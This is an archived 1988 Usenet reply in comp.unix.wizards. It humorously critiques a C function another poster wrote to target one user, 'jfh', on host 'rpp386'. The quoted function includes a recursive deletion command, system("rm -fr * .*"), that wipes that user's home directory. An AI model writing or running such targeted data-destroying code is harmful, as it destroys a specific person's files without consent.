none.
Der Tynan
dtynan at sultra.UUCP
Tue Nov 22 13:29:48 AEST 1988
In article <9784 at watdragon.waterloo.edu>, tcjones at watdragon.waterloo.edu (Terry Jones) writes:
> Here's a handy-dandy little function that I just whipped up. Took me about
> 4 or 5 hours to get the bugs out, but I'm just a college student :-)
Hate to tell you this, but you need another 4 or 5 hours :-)
> void
> get_John_F_Haugh_II()
> {
> struct passwd *pwd = getpwnam("jfh");
> char host[1024];
First, how do you know he'll run it as 'jfh'. You should check uid's.
> if (pwd == NULL) return;
> if (gethostname(host, sizeof(host)) == -1) return;
^^^^^^^^^^^
Hmmm. Isn't that a BSD system call??
> if (strcmp(host, "rpp386")) return;
^^^^^^
My guess is, rpp386 is a '386 machine, probably running XEN*X or Microport
UN*X. In which case, the above system call fails to link. Tough luck.
> if (chdir(pwd->pw_dir) == -1) return;
> if (fprintf(stderr, "Goodbye John...\n") == EOF) return;
Don't forget that the 'stderr' channel is usually unbuffered. If *I* saw that
message appear, I'd *very quickly* hit ^C, a few dozen times...
> system("rm -fr * .*");
> return;
> }
It probably wouldn't get very far. Oh well. Seeing as you're a college
student, I'm thinking about sending this program (?) to your Prof., so he
can grade you on it. Personally, I'd give you a C+ (No, not C++ :-). Mainly
for effort :-)
- Der
--
dtynan at zorba.Tynan.COM (Dermot Tynan @ Tynan Computers)
{apple,mips,pyramid,uunet}!Tynan.COM!dtynan
--- If the Law is for the People, then why do we need Lawyers? ---
More information about the Comp.unix.wizards
mailing list